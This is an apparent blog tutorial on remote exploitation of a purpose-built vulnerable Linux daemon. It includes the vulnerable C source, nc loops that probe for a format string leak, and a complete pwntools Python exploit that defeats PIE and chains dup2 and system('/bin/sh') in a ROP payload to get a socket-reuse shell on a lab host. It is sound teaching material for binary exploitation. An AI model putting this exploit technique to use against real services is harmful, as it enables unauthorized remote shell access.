x86_64 Linux Remote Stack Overflow Exploitation — bypass PIE via format string information leak

written by : Antonius (w1sdom)
web : bluedragonsec.com
github : https://github.com/bluedragonsecurity

Exploiting a 64-bit Linux program (daemon) that has PIE (Position Independent Executable) protection using a combination of Format String and Stack Overflow is an advanced technique in binary exploitation.

The following are the systematic steps to understand and execute this technique.

What is PIE?

PIE is a security feature that loads the entire binary (including the .text code section) at a random memory address each time it is run.

Solution: We need a Memory Leak to calculate the “Base Address” of the binary.

Phase 1: Memory Leak via Format String

A Format String vulnerability (such as printf(user_input)) allows us to read data from the stack. On Linux x86_64, function arguments are passed through registers (RDI, RSI, RDX, RCX, R8, R9) before going to the stack.

How to Obtain the Address

1. Find a Binary Pointer: Use a payload such as %p %p %p… to view the stack contents. Look for an address that resembles an instruction address (usually starting with 0x55 or 0x56 on modern kernels).

2. Calculate the Base Address: If you find a leaked address at a certain offset, the formula is:

Base Address Elf = Leaked Address — Static Offset

Phase 2: Calculating Gadget and Library Addresses

After obtaining the Base Address, all function addresses within the binary can now be accurately predicted:

Phase 3: Stack Overflow (The Payload)

After obtaining the important addresses, we exploit the second vulnerability: Stack Overflow. The goal is to overwrite the Top of the Stack (which will be used as the return address when ret executes) with a ROP (Return Oriented Programming) Chain to then obtain a bind shell on the target machine.

In this example, the target machine runs Lubuntu 24.04.3 with IP address 192.168.56.102, while the attacker machine is Kali Linux with IP address 192.168.56.1.

Before starting, make sure the following line exists in /etc/dnsmasq.conf:

address=/victim/192.168.56.102

Then start dnsmasq: sudo systemctl start dnsmasq

Next, edit /etc/resolv.conf and add:

nameserver 127.0.0.1

If configured correctly:

$ host victim
victim has address 192.168.56.102

Step 1. Preparation on the Local Machine

For this exercise, we will first perform the exploitation locally (on Kali Linux). Once successful, we will launch the attack against the target machine.

Here is the vulnerable daemon source code running on Lubuntu 24.04.3:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/wait.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>

void sigchld_handler(int s) {
    int saved_errno = errno;
    while(waitpid(-1, NULL, WNOHANG) > 0);
    errno = saved_errno;
}

void print_date(int client_sock) {
    char *bin = "/bin/sh";
    char *date_cmd = "date";
    char *args[] = {bin, "-c", date_cmd, NULL};
    char *env[] = {NULL};
    pid_t pid = fork();
    if (pid == 0) {
        dup2(client_sock, STDOUT_FILENO);
        dup2(client_sock, STDERR_FILENO);
        if (execve(bin, args, env) == -1) {
            perror("date failed");
        }
    }
}

void handle_client(int client_sock) {
    char buffer[64];
    char input[512];
    int c;
    int n = recv(client_sock, input, sizeof(input) - 1, 0);
    if (n > 0) {
        input[n] = '\0';
        dprintf(client_sock, "Server Echo: ");
        dprintf(client_sock, input);
        dprintf(client_sock, "\n");
        memcpy(buffer, input, n);
        printf("Received: %s\n", buffer);
        if (strstr(buffer, "date")) {
            print_date(client_sock);
        }
        else if (strstr(buffer, "sleep")) {
            c = getchar();
            putchar(c);
        }
        else if (strstr(buffer, "nothing")) {
            __asm__("pop %rdi; ret");
            __asm__("pop %rsi; ret");
            __asm__("ret");
            system("echo 'do nothing'");
        }
    }
}

int main(int argc, char **argv) {
    int server_fd, client_sock;
    struct sockaddr_in server_addr;
    struct sigaction sa;
    sa.sa_handler = sigchld_handler;
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    if (sigaction(SIGCHLD, &sa, NULL) == -1) {
        perror("sigaction");
        exit(1);
    }
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(8888);
    bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
    listen(server_fd, 5);
    printf("Listening on port 8888...\n");
    while (1) {
        client_sock = accept(server_fd, NULL, NULL);
        if (fork() == 0) {
            close(server_fd);
            handle_client(client_sock);
            exit(0);
        }
        close(client_sock);
    }
    return 0;
}

The program above has a format string bug and a stack overflow bug. The format string bug occurs on this line:

dprintf(client_sock, input);

The stack overflow bug occurs on this line:

memcpy(buffer, input, n);

On the Lubuntu 24 machine, save as vuln.c then compile:

gcc -o vuln vuln.c -fno-stack-protector

Before attempting on the target Lubuntu 24.04.3, we will try the exploitation locally first. If successful, we simply edit the exploit code to launch it against the victim host.

For reliable exploit development, we must know the operating system of the target to be exploited. The purpose is to know which version of libc is being used.

Additionally, we must also have the same binary file as the vulnerable binary on the target server.

For example, if the target server runs Lubuntu 24 and nginx 1.3.9, then for reliable exploit development on the machine used for exploit development, we need the libc.so.6 and ld.so with the same version as the target server. We must also have the daemon binary with the same version as on the target server. If we do not have the daemon binary with the same version, at minimum we must have the source code of the vulnerable application to compile locally and then patch with patchelf.

Why must ld.so (Linker) be the same? libc.so.6 cannot run on its own. It requires the Dynamic Linker (usually named ld-linux-x86–64.so.2 on 64-bit) to map the library into memory. If you run libc version 2.31 using ld version 2.35 from your native system, the program will most likely Segmentation Fault immediately before reaching the main function.

For reliable exploitation we must have the same vulnerable daemon ELF binary as the target machine. In this example, I have already compiled and downloaded the vuln ELF binary from the Ubuntu 24 machine. If possible, use the exact same operating system as the target during exploit development for reliability.

So that the program behaves the same as when running on the target Lubuntu 24.04.3, I have already downloaded libc.so.6 and ld-linux-x86–64.so.2 from the Lubuntu 24.04.3 machine.

Download the vuln binary from the Lubuntu 24 machine to Kali Linux!

Next, run patchelf:

chmod +x *
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vuln
patchelf --set-rpath . ./vuln

Then run vuln:

./vuln

Step 2. Finding the Format String Offset

On 64-bit Linux, the ELF binary is typically loaded in memory starting at the address range 0x55 or 0x56. Therefore, we will try using the format string technique to find the correct format string offset that is approximately within the ELF binary memory address range.

Let us try executing this command:

for i in {1..40}; do echo -n "Offset $i: "; echo "LEAK %$i\$p" | nc 127.0.0.1 8888; done

No results found.

Let us try the subsequent offsets:

for i in {41..80}; do echo -n "Offset $i: "; echo "LEAK %$i\$p" | nc 127.0.0.1 8888; done

Result:

At offset 45, an interesting pattern was found:

Offset 45: Server Echo: LEAK 0x558b8e006d00

The memory address 0x558b8e006d00 likely falls within the range of one of the memory addresses where the ELF binary is loaded in memory. We obtained it at format string offset 45.

Step 3. Calculating the Static Offset

To calculate the static offset, we will first look at /proc/pid/maps of the running ELF process.

ps aux | grep vuln

Example result:

robohax 66039 0.0 0.0 2696 1552 pts/3 S+ 08:47 0:00 ./vuln

Then:

sudo cat /proc/66039/maps

The base address where the vuln ELF is loaded in memory is: 0x558b8e003000

To obtain the static offset, we subtract the leaked memory address from the ELF base address.

Static offset = 0x558b8e006d00–0x558b8e003000

Open rapidtables:

https://www.rapidtables.com/calc/math/hex-calculator.html

Enter the calculation, result: 0x3D00

So the static offset obtained based on the memory address leaked via format string is 0x3D00.

Step 4. Obtaining the Offsets for Crafting the ROP Payload in the vuln ELF — The Socket Reuse Attack

Next, we will look for the offsets needed to craft our payload.

Our payload will be a bind shell payload utilizing the currently created client socket. The approximate payload layout is as follows:

1. dup2(4, 0) — Redirect STDIN

2. dup2(4, 1) — Redirect STDOUT

3. ret padding

4. system(“/bin/sh”)

Did you notice something ? there is no int 80h, we just need to dup the current fd for socket client, this is called the socket reuse attack.

Here are the commands to obtain these offsets from the vuln binary:

objdump -d vuln | grep "system"            -----> 0x1230
strings -a -t x vuln | grep "/bin/sh"      -----> 0x2004
ROPgadget --binary vuln | grep "pop rdi ; ret"  -----> 0x167e
ROPgadget --binary vuln | grep "pop rsi ; ret"  -----> 0x1680
objdump -d vuln | grep "dup2"              -----> 0x1250
ROPgadget --binary vuln | grep ": ret$" | head -n 5  -----> 0x101a

Step 5. Complete Exploit Code in Python

Here is the complete exploit code in Python:

#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
target_host = 'localhost'
target_port = 8888

def pwn():
    elf_base = 0
    try:
        io_leak = remote(target_host, target_port)
        io_leak.send(b"%45$p")
        io_leak.recvuntil(b"Server Echo: ")
        leak_data = io_leak.recvline().strip().decode()
        leaked_addr = int(leak_data, 16)
        elf_base = leaked_addr - 0x3D00
        print(f"[+] Elf Base: {hex(elf_base)}")
        io_leak.close()
    except Exception as e:
        print(f"[-] Failed to Leak: {e}")
        return

    pop_rdi = elf_base + 0x167e
    pop_rsi = elf_base + 0x1680
    dup2_addr = elf_base + 0x1250
    system_addr = elf_base + 0x1230
    bin_sh_addr = elf_base + 0x2004
    ret_align = elf_base + 0x101a
    fd = 4

    rop = b""
    # dup2(4, 0) - Redirect STDIN
    rop += p64(pop_rdi) + p64(fd)
    rop += p64(pop_rsi) + p64(0)
    rop += p64(dup2_addr)
    # dup2(4, 1) - Redirect STDOUT
    rop += p64(pop_rdi) + p64(fd)
    rop += p64(pop_rsi) + p64(1)
    rop += p64(dup2_addr)
    # system("/bin/sh")
    rop += p64(ret_align)
    rop += p64(pop_rdi) + p64(bin_sh_addr)
    rop += p64(system_addr)

    # Based on GDB disassembly: lea -0x50(%rbp), %rax
    padding = b"A" * 80
    saved_rbp = b"B" * 8

    # Combine everything. Add padding
    payload = padding + saved_rbp + rop + b"C" * 32

    print(f"[*] Attacking {target_host}...")
    io_exp = remote(target_host, target_port)
    io_exp.send(payload)
    time.sleep(1)
    io_exp.interactive()

if __name__ == "__main__":
    pwn()

Save as exploit.py then chmod and run:

chmod +x exploit.py
./exploit.py

Result:

Press enter or click to view image in full size

Exploit successfully obtained a bind shell on the local machine (Kali Linux).

Step 6. Running the Remote Exploit Against the Target Machine

After testing on the local machine, the next step is to test whether the exploit can succeed on the remote machine.

On the target_host line, change to victim:

target_host = 'victim'

Save as exploit2.py then chmod and run:

chmod +x exploit2.py
./exploit2.py

And the result:

Press enter or click to view image in full size

I do low level vulnerability research & hardware hacking (main focus : robotics).

Nicknames : w1sdom, sw0rdm4n, ringlayer, robotsoft, bluedragonsec, ev1lut10n, d4r3d3v1l, jck.marshall (1 time usage), 黑蝎子

Low-Level Vulnerability Research | Hardware Hacking | Robotics | Chinese | Polymath






Hobbies

music (fingerstyle guitar & keyboard)
martial art (muay thai, tae kwon do, boxing, bjj).

Music Channel
Martial Art Channel

Skills & Expertise
Vulnerability Research Static Source Code Analysis Kernel Exploitation Userland Exploitation Heap Exploitation Stack Exploitation Fuzzing Hardware Hacking Network Security Reverse Engineering Modern Mitigation Bypass Deep Learning Mechatronics Electronics Robotics Tactical Hacking Device Development Mathematics Machine Learning

Documentations
Github

Now Playing: ...